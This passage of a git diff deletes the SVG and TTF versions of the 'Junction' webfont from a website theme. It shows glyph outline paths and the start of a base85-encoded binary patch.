-113.5t-91.5 -113.5q-119 -115 -291 -125z" /> -<glyph unicode="z" horiz-adv-x="1060" d="M102 0v145l635 838h-635v143h842v-143l-635 -838h525q113 0 145 35v-145q-12 -14 -49 -22.5t-68 -10.5l-31 -2h-729z" /> -<glyph unicode="{" horiz-adv-x="962" d="M164 526v103q88 0 137 38t55 74l4 37v611q0 47 9.5 94t31 99t68.5 85t113 33q59 0 118.5 -16.5t90.5 -32.5l28 -19l-57 -143q-57 39 -180 39q-49 0 -50 -139v-613q0 -6 -1 -16t-9 -35t-20.5 -48.5t-39 -51t-61.5 -47.5q37 -20 64 -48t39 -50.5t19 -48t8 -36t1 -16.5v-612 q0 -139 50 -140q55 0 100 10.5t63 18.5l17 10l57 -143q-102 -68 -237 -68q-66 0 -113 33t-68.5 85t-31 99t-9.5 95v610q0 6 -1 16t-12 36t-29.5 45.5t-58.5 35.5t-95 16z" /> -<glyph unicode="|" horiz-adv-x="503" d="M174 -532v2232h156v-2232h-156z" /> -<glyph unicode="}" horiz-adv-x="962" d="M143 -477l58 143q57 -39 180 -39q49 0 49 140v610q0 14 4 37.5t36 77t89 86.5q-57 33 -89 83t-36 74.5t-4 40.5v613q0 139 -49 139q-55 0 -100 -10.5t-64 -18.5l-16 -10l-58 143q102 68 238 68q66 0 113 -33t68.5 -85t30.5 -99t9 -94v-611q0 -6 1 -16t11.5 -36t29 -45 t59 -35.5t96.5 -16.5v-103q-53 0 -93 -14t-58.5 -33.5t-30 -44t-13.5 -36t-2 -19.5v-612q0 -47 -9 -94.5t-30.5 -99.5t-69 -85t-112.5 -33q-59 0 -118.5 16.5t-90.5 32.5z" /> -<glyph unicode="~" horiz-adv-x="1349" d="M123 709q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13z" /> -<glyph unicode="ª" horiz-adv-x="1155" d="M123 283q0 72 14.5 124t53 103t120.5 87t207 54q213 29 285 47v129q0 51 -32 117t-95 66q-219 0 -344 -107q-18 -20 -16.5 -39.5t16.5 -34.5l-164 -30q-20 26 -20 64q0 24 8 52q20 74 92 115q218 121 445 121h7q100 0 165 -61.5t84.5 -129t19.5 -133.5v-555 q0 -16 4 -40.5t32.5 -73.5t77.5 -80l-110 -103q-119 47 -158 199q-186 -199 -385 -199q-20 0 -49 4.5t-77 22.5t-86 49t-66.5 91.5t-28.5 140.5zM293 283q0 -49 17.5 -85t42 -51.5t42 -21.5t29.5 -6q104 0 204.5 66.5t174.5 158.5v207q-100 -20 -266 -43 q-152 -20 -198 -74.5t-46 -150.5z" /> -<glyph unicode="­" horiz-adv-x="708" d="M113 492v143h483v-143h-483z" /> -<glyph unicode="²" horiz-adv-x="1126" d="M102 0v131l71 49q44 31 155.5 120t196.5 169t156 176t71 162q0 109 -56.5 161t-152.5 50q-53 0 -104.5 -19.5t-85.5 -46t-59.5 -54.5t-37.5 -46l-12 -18q-104 98 -105 100q43 78 155 162t251 86q180 0 280.5 -92.5t100.5 -270.5q0 -139 -165 -323.5t-376 -345.5h627 l2 -150h-912z" /> -<glyph unicode="³" horiz-adv-x="1142" d="M82 -313l108 106q10 -8 28 -20.5t80 -30.5t130 -16q92 0 184.5 43t164 147t71.5 250q0 98 -74 173t-174 75q-41 0 -86 -6.5t-80 -13.5t-62.5 -15t-43.5 -14l-17 -5v144q166 68 262.5 148.5t96.5 197.5q0 74 -52.5 120t-125.5 46q-53 0 -99.5 -14.5t-76 -36t-51 -43 t-32.5 -35.5l-8 -15l-96 95q4 8 13.5 22.5t41 52t69.5 65.5t102.5 51.5t133.5 23.5q145 0 247 -93.5t102 -238.5q0 -158 -183 -293q152 -18 257.5 -126.5t109.5 -264.5q0 -147 -57.5 -268t-148.5 -192t-191.5 -108.5t-196.5 -37.5q-88 0 -175 31.5t-130 64.5z" /> -<glyph unicode="¹" horiz-adv-x="731" d="M102 936l293 221h166v-1157h-166v983l-182 -154z" /> -<glyph unicode="º" horiz-adv-x="1224" d="M123 563q0 166 41 285t112.5 182.5t154.5 92t181.5 28.5t181.5 -28.5t154.5 -92t112.5 -182.5t41 -285t-41 -284.5t-112.5 -182t-154.5 -92.5t-181.5 -29t-181.5 29t-154.5 92.5t-112.5 182t-41 284.5zM295 563.5q0 -237.5 91 -341t226.5 -103.5t226.5 103.5t91 341 t-91 341t-226.5 103.5t-226.5 -103.5t-91 -341z" /> -<glyph unicode="À" horiz-adv-x="1474" d="M277 1901l43 145l460 -229l-43 -97zM61 0l582 1577h188l582 -1577h-190l-199 537h-575l-197 -537h-191zM506 692h461l-230 627z" /> -<glyph unicode="Â" horiz-adv-x="1474" d="M150 1720l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM61 0l582 1577h188l582 -1577h-190l-199 537h-575l-197 -537h-191zM506 692h461l-230 627z" /> -<glyph unicode="Ã" horiz-adv-x="1474" d="M184 1895q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13zM61 0l582 1577h188l582 -1577h-190l-199 537h-575l-197 -537 h-191zM506 692h461l-230 627z" /> -<glyph unicode="È" horiz-adv-x="1150" d="M580 1901l43 145l460 -229l-43 -97zM174 0v1577h651l215 10v-186h-686v-508h584v-156h-584v-561h500l215 10v-186h-895z" /> -<glyph unicode="Ê" horiz-adv-x="1150" d="M453 1720l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM174 0v1577h651l215 10v-186h-686v-508h584v-156h-584v-561h500l215 10v-186h-895z" /> -<glyph unicode="Ì" horiz-adv-x="528" d="M-196 1901l43 145l460 -229l-43 -97zM174 0v1577h180v-1577h-180z" /> -<glyph unicode="Î" horiz-adv-x="528" d="M-324 1720l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM174 0v1577h180v-1577h-180z" /> -<glyph unicode="Ñ" horiz-adv-x="1482" d="M189 1895q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13zM174 0v1577h180v-2l762 -1239l14 -29l-2 29v1241h181v-1577h-181 v2l-761 1243l-15 29l2 -29v-1245h-180z" /> -<glyph unicode="Ò" horiz-adv-x="1554" d="M320 1901l43 145l460 -229l-43 -97zM123 790.5q0 225.5 55 389t152.5 252t208 127t241.5 38.5q102 -2 192.5 -25.5t176.5 -80.5t146.5 -146.5t98.5 -229.5t38 -320q0 -227 -55.5 -391t-152 -252.5t-207 -127t-241.5 -38.5t-240.5 38.5t-206 126t-151.5 251t-55 389z M303 795q0 -180 40 -310.5t109.5 -200t149.5 -100t174 -30.5t174 30.5t149.5 99t110.5 198.5t41 309q0 176 -40 305t-109.5 198.5t-148.5 101t-173 34.5q-94 0 -175 -31t-151.5 -100.5t-110.5 -197.5t-40 -306z" /> -<glyph unicode="Ô" horiz-adv-x="1554" d="M193 1720l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM123 790.5q0 225.5 55 389t152.5 252t208 127t241.5 38.5q102 -2 192.5 -25.5t176.5 -80.5t146.5 -146.5t98.5 -229.5t38 -320q0 -227 -55.5 -391t-152 -252.5t-207 -127t-241.5 -38.5t-240.5 38.5 t-206 126t-151.5 251t-55 389zM303 795q0 -180 40 -310.5t109.5 -200t149.5 -100t174 -30.5t174 30.5t149.5 99t110.5 198.5t41 309q0 176 -40 305t-109.5 198.5t-148.5 101t-173 34.5q-94 0 -175 -31t-151.5 -100.5t-110.5 -197.5t-40 -306z" /> -<glyph unicode="Õ" horiz-adv-x="1554" d="M229 1895q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13zM123 790.5q0 225.5 55 389t152.5 252t208 127t241.5 38.5 q102 -2 192.5 -25.5t176.5 -80.5t146.5 -146.5t98.5 -229.5t38 -320q0 -227 -55.5 -391t-152 -252.5t-207 -127t-241.5 -38.5t-240.5 38.5t-206 126t-151.5 251t-55 389zM303 795q0 -180 40 -310.5t109.5 -200t149.5 -100t174 -30.5t174 30.5t149.5 99t110.5 198.5t41 309 q0 176 -40 305t-109.5 198.5t-148.5 101t-173 34.5q-94 0 -175 -31t-151.5 -100.5t-110.5 -197.5t-40 -306z" /> -<glyph unicode="Ù" horiz-adv-x="1460" d="M269 1901l43 145l460 -229l-43 -97zM174 489v1088h180v-1083q0 -94 29 -163t70 -106t96 -59.5t97 -27.5t85 -5t84 5t96.5 27.5t95.5 58.5t69.5 104.5t29.5 160.5v1088h180v-1088q0 -133 -43 -232t-102.5 -151.5t-141 -83t-143 -39t-125.5 -8.5q-66 0 -126 8.5t-143 39 t-142.5 83t-102.5 151.5t-43 232z" /> -<glyph unicode="Û" horiz-adv-x="1460" d="M143 1720l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM174 489v1088h180v-1083q0 -94 29 -163t70 -106t96 -59.5t97 -27.5t85 -5t84 5t96.5 27.5t95.5 58.5t69.5 104.5t29.5 160.5v1088h180v-1088q0 -133 -43 -232t-102.5 -151.5t-141 -83t-143 -39 t-125.5 -8.5q-66 0 -126 8.5t-143 39t-142.5 83t-102.5 151.5t-43 232z" /> -<glyph unicode="à" horiz-adv-x="1155" d="M236 1455l43 145l460 -229l-43 -97zM123 283q0 72 14.5 124t53 103t120.5 87t207 54q213 29 285 47v129q0 51 -32 117t-95 66q-219 0 -344 -107q-18 -20 -16.5 -39.5t16.5 -34.5l-164 -30q-20 26 -20 64q0 24 8 52q20 74 92 115q218 121 445 121h7q100 0 165 -61.5 t84.5 -129t19.5 -133.5v-555q0 -16 4 -40.5t32.5 -73.5t77.5 -80l-110 -103q-119 47 -158 199q-186 -199 -385 -199q-20 0 -49 4.5t-77 22.5t-86 49t-66.5 91.5t-28.5 140.5zM293 283q0 -49 17.5 -85t42 -51.5t42 -21.5t29.5 -6q104 0 204.5 66.5t174.5 158.5v207 q-100 -20 -266 -43q-152 -20 -198 -74.5t-46 -150.5z" /> -<glyph unicode="â" horiz-adv-x="1155" d="M109 1274l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM123 283q0 72 14.5 124t53 103t120.5 87t207 54q213 29 285 47v129q0 51 -32 117t-95 66q-219 0 -344 -107q-18 -20 -16.5 -39.5t16.5 -34.5l-164 -30q-20 26 -20 64q0 24 8 52q20 74 92 115 q218 121 445 121h7q100 0 165 -61.5t84.5 -129t19.5 -133.5v-555q0 -16 4 -40.5t32.5 -73.5t77.5 -80l-110 -103q-119 47 -158 199q-186 -199 -385 -199q-20 0 -49 4.5t-77 22.5t-86 49t-66.5 91.5t-28.5 140.5zM293 283q0 -49 17.5 -85t42 -51.5t42 -21.5t29.5 -6 q104 0 204.5 66.5t174.5 158.5v207q-100 -20 -266 -43q-152 -20 -198 -74.5t-46 -150.5z" /> -<glyph unicode="ã" horiz-adv-x="1155" d="M146 1448q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13zM123 283q0 72 14.5 124t53 103t120.5 87t207 54q213 29 285 47 v129q0 51 -32 117t-95 66q-219 0 -344 -107q-18 -20 -16.5 -39.5t16.5 -34.5l-164 -30q-20 26 -20 64q0 24 8 52q20 74 92 115q218 121 445 121h7q100 0 165 -61.5t84.5 -129t19.5 -133.5v-555q0 -16 4 -40.5t32.5 -73.5t77.5 -80l-110 -103q-119 47 -158 199 q-186 -199 -385 -199q-20 0 -49 4.5t-77 22.5t-86 49t-66.5 91.5t-28.5 140.5zM293 283q0 -49 17.5 -85t42 -51.5t42 -21.5t29.5 -6q104 0 204.5 66.5t174.5 158.5v207q-100 -20 -266 -43q-152 -20 -198 -74.5t-46 -150.5z" /> -<glyph unicode="è" horiz-adv-x="1187" d="M138 1455l43 145l460 -229l-43 -97zM113 551q0 242 138 421t347 179q119 0 209 -46t136 -107.5t73.5 -139.5t35 -127t7.5 -84v-76h-774q0 -193 85 -318.5t236 -125.5q115 0 195 49q80 47 153 146l105 -101q-72 -88 -141.5 -144.5t-135 -74.5t-95.5 -22.5t-81 -4.5 q-227 0 -360 167t-133 409zM309 723h570q-10 47 -27.5 89t-48.5 87t-84 72.5t-121 27.5q-100 0 -177 -76.5t-112 -199.5z" /> -<glyph unicode="ê" horiz-adv-x="1187" d="M10 1274l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM113 551q0 242 138 421t347 179q119 0 209 -46t136 -107.5t73.5 -139.5t35 -127t7.5 -84v-76h-774q0 -193 85 -318.5t236 -125.5q115 0 195 49q80 47 153 146l105 -101q-72 -88 -141.5 -144.5t-135 -74.5 t-95.5 -22.5t-81 -4.5q-227 0 -360 167t-133 409zM309 723h570q-10 47 -27.5 89t-48.5 87t-84 72.5t-121 27.5q-100 0 -177 -76.5t-112 -199.5z" /> -<glyph unicode="ì" horiz-adv-x="555" d="M-182 1881l43 145l460 -229l-43 -97zM174 1475q0 45 29.5 73.5t75 28.5t74 -28.5t28.5 -73.5t-28.5 -75t-74 -30t-75 30t-29.5 75zM193 0v1126h169v-1126h-169z" /> -<glyph unicode="î" horiz-adv-x="555" d="M-309 1700l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM174 1475q0 45 29.5 73.5t75 28.5t74 -28.5t28.5 -73.5t-28.5 -75t-74 -30t-75 30t-29.5 75zM193 0v1126h169v-1126h-169z" /> -<glyph unicode="ñ" d="M84 1448q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13zM174 0v1126h172v-237q270 262 492 262q260 0 260 -350v-801h-172 v801q0 178 -88 178q-227 0 -492 -268v-711h-172z" /> -<glyph unicode="ò" horiz-adv-x="1224" d="M152 1455l43 145l460 -229l-43 -97zM123 563q0 166 41 285t112.5 182.5t154.5 92t181.5 28.5t181.5 -28.5t154.5 -92t112.5 -182.5t41 -285t-41 -284.5t-112.5 -182t-154.5 -92.5t-181.5 -29t-181.5 29t-154.5 92.5t-112.5 182t-41 284.5zM295 563.5q0 -237.5 91 -341 t226.5 -103.5t226.5 103.5t91 341t-91 341t-226.5 103.5t-226.5 -103.5t-91 -341z" /> -<glyph unicode="ô" horiz-adv-x="1224" d="M25 1274l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM123 563q0 166 41 285t112.5 182.5t154.5 92t181.5 28.5t181.5 -28.5t154.5 -92t112.5 -182.5t41 -285t-41 -284.5t-112.5 -182t-154.5 -92.5t-181.5 -29t-181.5 29t-154.5 92.5t-112.5 182t-41 284.5z M295 563.5q0 -237.5 91 -341t226.5 -103.5t226.5 103.5t91 341t-91 341t-226.5 103.5t-226.5 -103.5t-91 -341z" /> -<glyph unicode="õ" horiz-adv-x="1224" d="M62 1448q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13zM123 563q0 166 41 285t112.5 182.5t154.5 92t181.5 28.5 t181.5 -28.5t154.5 -92t112.5 -182.5t41 -285t-41 -284.5t-112.5 -182t-154.5 -92.5t-181.5 -29t-181.5 29t-154.5 92.5t-112.5 182t-41 284.5zM295 563.5q0 -237.5 91 -341t226.5 -103.5t226.5 103.5t91 341t-91 341t-226.5 103.5t-226.5 -103.5t-91 -341z" /> -<glyph unicode="ù" d="M166 1455l43 145l460 -229l-43 -97zM164 326v800h172v-800q0 -178 88 -179q233 0 491 269v710h172v-1126h-172v236q-272 -260 -491 -261q-260 1 -260 351z" /> -<glyph unicode="û" d="M37 1274l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM164 326v800h172v-800q0 -178 88 -179q233 0 491 269v710h172v-1126h-172v236q-272 -260 -491 -261q-260 1 -260 351z" /> -<glyph unicode="Œ" horiz-adv-x="2705" d="M1728 0v1577h651l215 10v-186h-686v-508h584v-156h-584v-561h500l215 10v-186h-895zM123 790.5q0 225.5 55 389t152.5 252t208 127t241.5 38.5q102 -2 192.5 -25.5t176.5 -80.5t146.5 -146.5t98.5 -229.5t38 -320q0 -227 -55.5 -391t-152 -252.5t-207 -127t-241.5 -38.5 t-240.5 38.5t-206 126t-151.5 251t-55 389zM303 795q0 -180 40 -310.5t109.5 -200t149.5 -100t174 -30.5t174 30.5t149.5 99t110.5 198.5t41 309q0 176 -40 305t-109.5 198.5t-148.5 101t-173 34.5q-94 0 -175 -31t-151.5 -100.5t-110.5 -197.5t-40 -306z" /> -<glyph unicode="œ" horiz-adv-x="2412" d="M1338 551q0 242 138 421t347 179q119 0 209 -46t136 -107.5t73.5 -139.5t35 -127t7.5 -84v-76h-774q0 -193 85 -318.5t236 -125.5q115 0 195 49q80 47 153 146l105 -101q-72 -88 -141.5 -144.5t-135 -74.5t-95.5 -22.5t-81 -4.5q-227 0 -360 167t-133 409zM1534 723h570 q-10 47 -27.5 89t-48.5 87t-84 72.5t-121 27.5q-100 0 -177 -76.5t-112 -199.5zM123 563q0 166 41 285t112.5 182.5t154.5 92t181.5 28.5t181.5 -28.5t154.5 -92t112.5 -182.5t41 -285t-41 -284.5t-112.5 -182t-154.5 -92.5t-181.5 -29t-181.5 29t-154.5 92.5t-112.5 182 t-41 284.5zM295 563.5q0 -237.5 91 -341t226.5 -103.5t226.5 103.5t91 341t-91 341t-226.5 103.5t-226.5 -103.5t-91 -341z" /> -<glyph unicode="ˆ" horiz-adv-x="1339" d="M82 0l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147z" /> -<glyph unicode="˜" horiz-adv-x="532" d="M-553 297q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13z" /> -<glyph unicode=" " horiz-adv-x="1423" /> -<glyph unicode=" " horiz-adv-x="2846" /> -<glyph unicode=" " horiz-adv-x="1423" /> -<glyph unicode=" " horiz-adv-x="2846" /> -<glyph unicode=" " horiz-adv-x="948" /> -<glyph unicode=" " horiz-adv-x="710" /> -<glyph unicode=" " horiz-adv-x="473" /> -<glyph unicode=" " horiz-adv-x="473" /> -<glyph unicode=" " horiz-adv-x="354" /> -<glyph unicode=" " horiz-adv-x="569" /> -<glyph unicode=" " horiz-adv-x="157" /> -<glyph unicode="‐" horiz-adv-x="708" d="M113 492v143h483v-143h-483z" /> -<glyph unicode="‑" horiz-adv-x="708" d="M113 492v143h483v-143h-483z" /> -<glyph unicode="‒" horiz-adv-x="708" d="M113 492v143h483v-143h-483z" /> -<glyph unicode="–" horiz-adv-x="1312" d="M61 498v133h1129v-133h-1129z" /> -<glyph unicode="—" horiz-adv-x="1558" d="M82 498v133h1395v-133h-1395z" /> -<glyph unicode="‘" horiz-adv-x="729" d="M113 1432l43 145l460 -229l-43 -97z" /> -<glyph unicode="’" horiz-adv-x="423" d="M92 1464q0 49 33 81t82 32q61 0 93 -50t32 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 81.5z" /> -<glyph unicode="“" horiz-adv-x="774" d="M92 1245q2 147 152 332l86 -29q-102 -127 -123 -243q55 0 90 -33t35 -82t-33 -81t-82 -32q-61 0 -93 50t-32 118zM442 1245q2 147 152 332l86 -29q-102 -127 -123 -243q55 0 90 -33t35 -82t-33 -81t-82 -32q-61 0 -93 50t-32 118z" /> -<glyph unicode="”" horiz-adv-x="774" d="M92 1464q0 49 33 81t82 32q61 0 93 -50t32 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 81.5zM442 1464q0 49 33 81t82 32q59 0 92 -50t33 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 81.5z" /> -<glyph unicode="…" horiz-adv-x="1234" d="M915 100.5q0 49.5 33 81t82 31.5t80.5 -31.5t31.5 -81t-31.5 -82t-80.5 -32.5t-82 32.5t-33 82zM504 100.5q0 49.5 33 81t82 31.5t80.5 -31.5t31.5 -81t-31.5 -82t-80.5 -32.5t-82 32.5t-33 82zM92 100.5q0 49.5 33 81t82 31.5t80.5 -31.5t31.5 -81t-31.5 -82 t-80.5 -32.5t-82 32.5t-33 82z" /> -<glyph unicode=" " horiz-adv-x="569" /> -<glyph unicode="‹" horiz-adv-x="1433" d="M154 500v147l1136 514v-147l-975 -441l975 -440v-147z" /> -<glyph unicode="›" horiz-adv-x="1433" d="M143 -14v147l973 440l-973 441v147l1137 -514v-147z" /> -<glyph unicode=" " horiz-adv-x="710" /> -<glyph unicode="™" horiz-adv-x="2893" d="M1325 0v1577h180l514 -1352l2 -14l2 14l517 1352h180v-1577h-180v1106l2 31l-9 -31l-424 -1106h-174l-424 1106l-8 31l2 -31v-1106h-180zM20 1421v156h1110v-156h-468v-1421h-181v1421h-461z" /> -<glyph unicode="" horiz-adv-x="1125" d="M0 1125h1125v-1125h-1125v1125z" /> -<glyph unicode="fi" horiz-adv-x="1380" d="M999 1475q0 45 29.5 73.5t75 28.5t74 -28.5t28.5 -73.5t-28.5 -75t-74 -30t-75 30t-29.5 75zM1018 0v1126h169v-1126h-169zM61 983v143h146v197q0 367 317 367q207 0 363 -129l-111 -107q-119 92 -252 92q-49 0 -79.5 -15t-45 -51t-18.5 -68t-4 -89v-197h332v-143h-332 v-983h-170v983h-146z" /> -<glyph unicode="fl" horiz-adv-x="1398" d="M999 299v1380h170v-1380q0 -111 23 -133q45 -45 135 -45l-6 -146q-180 0 -250 70q-72 72 -72 254zM61 983v143h146v197q0 367 317 367q207 0 363 -129l-111 -107q-119 92 -252 92q-49 0 -79.5 -15t-45 -51t-18.5 -68t-4 -89v-197h332v-143h-332v-983h-170v983h-146z" /> -<glyph unicode="ffi" horiz-adv-x="2205" d="M1825 1475q0 45 29.5 73.5t75 28.5t74 -28.5t28.5 -73.5t-28.5 -75t-74 -30t-75 30t-29.5 75zM1844 0v1126h169v-1126h-169zM886 983v143h146v197q0 367 317 367q207 0 363 -129l-111 -107q-119 92 -252 92q-49 0 -79.5 -15t-45 -51t-18.5 -68t-4 -89v-197h332v-143h-332 v-983h-170v983h-146zM61 983v143h146v197q0 367 317 367q207 0 363 -129l-111 -107q-119 92 -252 92q-49 0 -79.5 -15t-45 -51t-18.5 -68t-4 -89v-197h332v-143h-332v-983h-170v983h-146z" /> -<glyph unicode="ffl" horiz-adv-x="2224" d="M1825 299v1380h170v-1380q0 -111 23 -133q45 -45 135 -45l-6 -146q-180 0 -250 70q-72 72 -72 254zM886 983v143h146v197q0 367 317 367q207 0 363 -129l-111 -107q-119 92 -252 92q-49 0 -79.5 -15t-45 -51t-18.5 -68t-4 -89v-197h332v-143h-332v-983h-170v983h-146z M61 983v143h146v197q0 367 317 367q207 0 363 -129l-111 -107q-119 92 -252 92q-49 0 -79.5 -15t-45 -51t-18.5 -68t-4 -89v-197h332v-143h-332v-983h-170v983h-146z" /> -</font> -</defs></svg> \ No newline at end of file diff --git a/assets/themes/the-minimum/font/Junction-webfont.ttf b/assets/themes/the-minimum/font/Junction-webfont.ttf deleted file mode 100755 index 27aa517da95620a04fff001acf6f3282d482b072..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 23464 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 